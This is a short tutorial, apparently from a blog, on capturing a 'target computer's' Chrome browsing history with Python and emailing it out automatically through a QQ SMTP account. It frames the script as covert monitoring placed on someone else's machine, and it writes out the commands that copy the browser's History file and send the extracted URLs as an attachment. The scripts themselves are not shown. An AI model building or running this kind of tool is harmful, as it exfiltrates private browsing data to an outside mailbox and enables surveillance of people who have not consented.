How to Use Python to Capture Chrome History and Email It Automatically

Overview

This article demonstrates a Python‑based method to retrieve a target computer's Chrome browsing history, save it as a text file, and automatically email it using a QQ mail account. The process is fully automated after the script is placed on the target machine.

Environment

Chrome

Python 3.6

macOS Sierra

Sender QQ email address and authorization code

Recipient email address

SMTP server: smtp.qq.com

Implementation

First copy the Chrome History SQLite file, then run a Python script ( get_history.py) to extract URLs. Next, use another script ( send_mail.py) to attach the result file and send it via SMTP.

cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

Running the scripts produces a text file with visited URLs and an email with the file attached, as shown in the result screenshots.

Challenges

The target computer must be online for the monitoring to work, and adjustments may be needed for different operating systems or browsers (e.g., Chrome on macOS vs Windows). Additionally, proper QQ mail authorization and SMTP configuration are required.